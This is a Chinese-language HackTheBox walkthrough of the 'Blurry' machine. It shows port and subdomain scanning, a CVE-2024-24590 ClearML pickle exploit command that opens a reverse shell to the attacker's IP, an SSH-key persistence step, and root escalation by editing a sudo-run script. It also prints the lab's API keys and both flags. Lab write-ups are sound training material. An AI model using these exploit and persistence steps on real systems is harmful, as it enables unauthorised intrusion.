Blurry - hackthebox

简介

靶机名称:Blurry

难度:中等

靶场地址:https://app.hackthebox.com/machines/605

本地环境

靶机IP :10.10.11.19

linux渗透机IP(kali 2024.2):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap感觉是被阻滞了,奇慢无比,先fscan垫一下好了

fscan -h 10.10.11.19 -nobr -p "1-65535"

___                              _/ _ \     ___  ___ _ __ __ _  ___| | __/ /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\fscan version: 1.8.4
start infoscan
10.10.11.19:22 open
10.10.11.19:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.19        code:301 len:169    title:301 Moved Permanently 跳转url: http://app.blurry.htb/
已完成 2/2
[*] 扫描结束,耗时: 10.272005218s

经典22和80。80有重定向,先把app.blurry.htb加入hosts再操作。

HTTP

image-20240618104451214

这个clearML是github上面的一个开源项目,相当于一个机器学习资源和任务管理平台。

还没得到更多信息,先转到其他方向。

子域名爆破

ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt -u http://app.blurry.htb -H "Host: FUZZ.blurry.htb" -fw 5

        /'___\  /'___\           /'___\/\ \__/ /\ \__/  __  __  /\ \__/\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/\ \_\   \ \_\  \ \____/  \ \_\\/_/    \/_/   \/___/    \/_/v2.1.0-dev
________________________________________________:: Method           : GET:: URL              : http://app.blurry.htb:: Wordlist         : FUZZ: /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt:: Header           : Host: FUZZ.blurry.htb:: Follow redirects : false:: Calibration      : false:: Timeout          : 10:: Threads          : 40:: Matcher          : Response status: 200-299,301,302,307,401,403,405,500:: Filter           : Response words: 5
________________________________________________files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 99ms]
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 123ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 98ms]

整合一下hosts如下

10.10.11.19 app.blurry.htb
10.10.11.19 blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 chat.blurry.htb
10.10.11.19 api.blurry.htb

files.blurry.htb没有什么东西,看着像接口之类的?

image-20240618111102823

chat则有东西了

image-20240618111241500

chat信息收集

因为没有任何账密信息,所以先创个号进去看看能不能收集到什么。

有一个公共频道

image-20240618111633863

聊天内容就是冲评审了。这个不是重点,把用户名和全称都统计一下。

jippity
irisview
raytrace
lenasphere
dioptric
Iris Pupil
Chad Jippity
Lena Tick
Ray Flection
Dio Ptrie
Black Swan

需要注意的是,频道有两个,只是general默认置顶而已

image-20240618112509470

image-20240618112738506

两条公告看下来,首先我们知道除了clearML和rocket.chat之外,还有一个专门用于实验的平台,目前未知。还有,他们负责的项目是Black Swan(黑天鹅)

然后找不到更多信息了。回到clearML平台。

clearML

输入Chad Jippity,直接成功登陆了。

image-20240618113149654

登录之后能操作的就很多了。网上查了一下,clearML有一个很新的漏洞,CVE-2024-24590,有poc能直接打

https://github.com/OxyDeV2/ClearML-CVE-2024-24590

在使用该poc之前,我们要得到服务器认证。首先到用户界面的workspace下创建新凭据

image-20240618130721901

创建后把配置信息保存下来

image-20240618130156707

然后在攻击机上用pip下载clearml库,然后执行命令clearml-init,把刚刚复制的配置信息粘贴进去即可

api { web_server: http://app.blurry.htbapi_server: http://api.blurry.htbfiles_server: http://files.blurry.htbcredentials {"access_key" = "K5B069CS9ZIXBGX2S9C7""secret_key"  = "jHmPmqHLHeOqkRwk8pR06y8rQBd82QWr9UjdDJBxKmXTitXPnP"}
}

image-20240618130752637

起个监听后,就可以用poc直接打了……嗯?为什么无效

首先要知道这个poc的作用仅仅是上传一个包含shell代码的pickle文件到项目中,只有当别人下载该文件并加载它时,我们的shell才会被运行。也就是说clearML本身是不会跑代码的。

黑天鹅项目中有一个很显眼的定时任务Review JSON Artifacts,大概是每过几分钟就执行一次,内容如下

image-20240618143002947

#!/usr/bin/python3from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClientdef process_json_artifact(data, artifact_name):"""Process a JSON artifact represented as a Python dictionary.Print all key-value pairs contained in the dictionary."""print(f"[+] Artifact '{artifact_name}' Contents:")for key, value in data.items():print(f" - {key}: {value}")def process_task(task):artifacts = task.artifactsfor artifact_name, artifact_object in artifacts.items():data = artifact_object.get()if isinstance(data, dict):process_json_artifact(data, artifact_name)else:print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")def main():review_task = Task.init(project_name="Black Swan", task_name="Review JSON Artifacts", task_type=Task.TaskTypes.data_processing)# Retrieve tasks tagged for reviewtasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)if not tasks:print("[!] No tasks up for review.")returnthreads = []for task in tasks:print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")p = Process(target=process_task, args=(task,))p.start()threads.append(p)task.set_archived(True)for thread in threads:thread.join(60)if thread.is_alive():thread.terminate()# Mark the ClearML task as completedreview_task.close()def cleanup():client = APIClient()tasks = client.tasks.get_all(system_tags=["archived"],only_fields=["id"],order_by=["-last_update"],page_size=100,page=0,)# delete and cleanup tasksfor task in tasks:# noinspection PyBroadExceptiontry:deleted_task = Task.get_task(task_id=task.id)deleted_task.delete(delete_artifacts_and_models=True,skip_models_used_by_other_tasks=True,raise_on_error=False)except Exception as ex:continueif __name__ == "__main__":main()cleanup()

简单解释一下就是:

  • 初始化一个名为“Review JSON Artifacts”的 ClearML 任务。
  • 检索标记为“review”且未归档的任务。
  • 如果没有任务可供审查,则打印警告消息并返回。
  • 对于每个待审查的任务,启动一个新进程来处理该任务,并将任务标记为已归档。
  • 等待所有进程完成,如果进程在 60 秒内未完成,则终止它。
  • 将 ClearML 任务标记为已完成。

也就是说,只有tagreview的工作才会被执行自动任务的主机下载并审查。审查细节不用去了解,只要知道它肯定会运行并跑我们的shell即可。

于是最终命令如下:

python3 exploit.py --project_name  "Black Swan" --task_name "test" --artifact_name "test" --tags "review" --ip "10.10.16.17" --port "40001"

监听:

 rlwrap -cAr nc -lvvp 40001

image-20240618144321234

(真的感觉等了好长时间,中间差点以为不行打算推翻重来。)

在当前目录下找到user.txt

4645965a4154a71c0466950107e77693

提权

先把ssh公钥传上去维权。

cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" >> authorized_keys 

看一眼网络,活跃端口还真不少

tcp        0      0 127.0.0.1:8008          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -          
tcp6       0      0 :::22                   :::*                    LISTEN      - 

初次之外,sudo -l也有内容

Matching Defaults entries for jippity on blurry:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser jippity may run the following commands on blurry:(root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

这个evaluate_model是个shell脚本,内容如下

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.if [ "$#" -ne 1 ]; then/usr/bin/echo "Usage: $0 <path_to_model.pth>"exit 1
fiMODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  /usr/bin/mkdir -p "$TEMP_DIR"file_type=$(/usr/bin/file --brief "$MODEL_FILE")# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then# POSIX tar archive (older PyTorch format)/usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then# Zip archive (newer PyTorch format)/usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else/usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"exit 2
fi/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; dofickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then/usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."/bin/rm "$MODEL_FILE"breakfi
done/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"if [ -f "$MODEL_FILE" ]; then/usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."/usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"fi

只要知道这个脚本会对/models路径下的pth文件审查,通过后会用evaluate_model.py来跑就行了。

偏偏我们正好对evaluate_model.py有写权限

image-20240618152744718

那就没什么好说的了,直接写入梭了。

import os
os.system("/bin/bash")

image-20240618152911266

b4fe6bf95fed2a23dd0dee2669175363

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/353128.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

虚拟机怎么额外搭建两个Redis节点,配置多个 Redis 实例

前提条件 在开始之前&#xff0c;请确保你已经具备以下条件&#xff1a; 一台已安装 Redis 的虚拟机。虚拟机上已安装基本的 Linux 工具&#xff08;例如 FinalShell&#xff09;。 步骤二&#xff1a;配置额外的 Redis 实例 接下来&#xff0c;我们将配置两个新的 Redis 实…

frp安装与配置

个人从网上杂乱的信息中学习、试错&#xff0c;记录自己成功配置的方法&#xff0c;避免遗忘 一、frp的下载 因目前无法下载&#xff0c;仅保留下载方法&#xff0c;版本号根据实际修改&#xff0c;目前使用0.54版&#xff0c;不同系统下载不同文件。 wget https://github.c…

【前端取不到cookie的的原因】http-only

某条cookie有http-only属性时&#xff0c;下面两种方法都取不到&#xff0c;还是改需求吧&#xff0c;别取了 1、 npm install js-cookie --save import Cookies from js-cookie let cookieValue Cookies.get(name)2、document.cookie

ChatGPT的问题与回复的内容导出(Chorme)

我给出两种方式&#xff0c;第一种方式无使用要求&#xff0c;第二种方式必须安装Chorme 个人更推荐第二种方式 第一种方式&#xff1a;使用chatgpt自带的数据导出 缺点&#xff1a;会将当前未归档的所有聊天记录导出&#xff0c;发送到你的电子邮箱中 第二种方式&#xff1a…

大模型技术工程师:抓住时代机遇,成为行业精英_

伴随AI大模型的火热&#xff0c;中国科技大厂们正在掀起一场「跑步AI化」的风暴。从顶层战略到业务线重构&#xff0c;AI无疑已成为大厂们押注未来的新故事。 大模型时代已经到来 大模型已成为全球竞争热点&#xff0c;一个大模型时代已经到来。 大模型具备三个特点&#xf…

智能网站管理系统

智能网站管理系统&#xff0c;即智能化的网站管理工具&#xff0c;是为了提高网站管理效率和简化操作流程而开发的一种软件系统。它集合了各种先进的技术和功能&#xff0c;为网站管理员提供了一套强大而可靠的解决方案。 智能网站管理系统的核心功能是网站内容管理。传统的网站…

css设置滚动条样式;滚动条设置透明

滚动条透明代码 .resizable-div {resize: both;/* 允许水平和垂直调整大小 */overflow: auto;/* 确保内容超出边界时出现滚动条 */ } /* 滚动条整体样式 */ .resizable-div::-webkit-scrollbar {width: 4px; /* 竖直滚动条宽度 */height: 4px; /* 水平滚动条高度 */ }/* 滚动条…

探索C嘎嘎的奇妙世界:第十四关---STL(string的模拟实现)

1. string类的模拟实现 1.1 经典的string类问题 上一关已经对string类进行了简单的介绍&#xff0c;大家只要能够正常使用即可。在面试中&#xff0c;面试官总喜欢让学生自己来模拟实现string类&#xff0c;最主要是实现string类的构造、拷贝构造、赋值运算符重载以及析构函数…

深度学习(九)——神经网络:最大池化的作用

一、 torch.nn中Pool layers的介绍 官网链接&#xff1a; https://pytorch.org/docs/stable/nn.html#pooling-layers 1. nn.MaxPool2d介绍 nn.MaxPool2d是在进行图像处理时&#xff0c;Pool layers最常用的函数 官方文档&#xff1a;MaxPool2d — PyTorch 2.0 documentation &…

11.docker镜像分层dockerfile优化

docker镜像的分层&#xff08;kvm 链接克隆&#xff0c;写时复制的特性&#xff09; 镜像分层的好处&#xff1a;复用,节省磁盘空间&#xff0c;相同的内容只需加载一份到内存。 修改dockerfile之后&#xff0c;再次构建速度快 分层&#xff1a;就是在原有的基础镜像上新增了服…

Thinkphp校园新闻发布系统源码 毕业设计项目实例

Thinkphp校园新闻发布系统源码 毕业设计项目实例 校园新闻发布系统模块&#xff1a; 用户模块&#xff1a;注册&#xff0c;登陆&#xff0c;查看个人信息&#xff0c;修改个人信息&#xff0c;站内搜索&#xff0c;新闻浏览等功能&#xff0c; 后台管理员模块&#xff1a;会员…

翻转数位00

题目链接 翻转数位 题目描述 注意点 可以将一个数位从0变为1找出能够获得的最长的一串1的长度&#xff08;必须是连续的&#xff09; 解答思路 参照题解使用动态规划解决本题&#xff0c;对于任意一个位置i&#xff0c;dp[i][0]表示到达且包含第i位不翻转0最长1的长度&…

每天一个数据分析题(三百五十九)- 多维分析模型

图中是某公司记录销售情况相关的表建立好的多维分析模型&#xff0c;请根据模型回答以下问题&#xff1a; 2&#xff09;产品表左连接品牌表的对应关系属于&#xff1f; A. 一对多 B. 一对一 C. 多对一 D. 多对多 数据分析认证考试介绍&#xff1a;点击进入 题目来源于CD…

等待 chrome.storage.local.get() 完成

chrome.storage.local.get() 获取存储处理并计数&#xff0c;内部计数正常&#xff0c;外部使用始终为0&#xff0c;百思不得其解。 如何在继续执行之前等待异步chrome.storage.local.get()完成-腾讯云开发者社区-腾讯云 (tencent.com) 原来我忽略了异步问题&#xff0c;最简…

推荐常用的三款源代码防泄密软件

三款源代码防泄密软件——安秉源代码加密、Virbox Protector 和 MapoLicensor——确实各自在源代码保护的不同方面有其专长。这些软件可以满足企业对于源代码保护的三大需求&#xff1a;防止泄露、防止反编译和防止破解。 安秉源代码加密&#xff1a; 专注于源代码文件的加密&…

【每天学会一个渗透测试工具】Nessus安装及使用指南

&#x1f31d;博客主页&#xff1a;泥菩萨 &#x1f496;专栏&#xff1a;Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具 其他扫描工具&#xff1a; AWVS和Xray&#xff1a;应用漏洞扫描工具 fscan&#xff1a;虽然能扫主机&#xff0c;但比较老了…

【教学类-64-02】20240610色块眼力挑战(二)-2-25宫格色差10-100(10倍)(星火讯飞)

背景需求 以下的色块眼里挑战需要人工筛选图片&#xff0c;非常繁琐。 【教学类-64-01】20240607色块眼力挑战&#xff08;一&#xff09;-0-255随机底色-CSDN博客文章浏览阅读446次&#xff0c;点赞12次&#xff0c;收藏5次。【教学类-64-01】20240607色块眼力挑战&#xff…

Playwright工作原理

执行test时&#xff0c;有哪些关键步骤 当我们用Playwright编写一段简单的test script&#xff0c;代码如下所示&#xff1a;在test case中第一段代码就是await page.goto(xxxxx) import { test, expect } from playwright/test;test(test, async ({ page }) > {await page…

【Windows】配置Flutter开发环境

一、下载 flutter sdk 点此跳至下载官网 下载好flutter sdk&#xff0c;并解压到自定义的位置。 二、配置环境变量 此电脑 --> 右键 选择 属性 --> 点击 高级系统设置 --> 会弹出系统属性的窗口&#xff0c;点击 环境变量 按钮 1.配置加速镜像地址 PUB_HOSTED_…

为啥找对象千万别找大厂男,还好我不是大厂的。。

网上看到一大厂女员工发文说&#xff1a;找对象千万别找大厂男&#xff0c;理由说了一大堆&#xff0c;无非就是大厂男为了逃避带娃&#xff0c;以加班为由宁愿在工位上玩游戏也不愿回家。当然这种观点有的人赞同有的人反对。 网友精彩评论&#xff1a; --------------下面是今…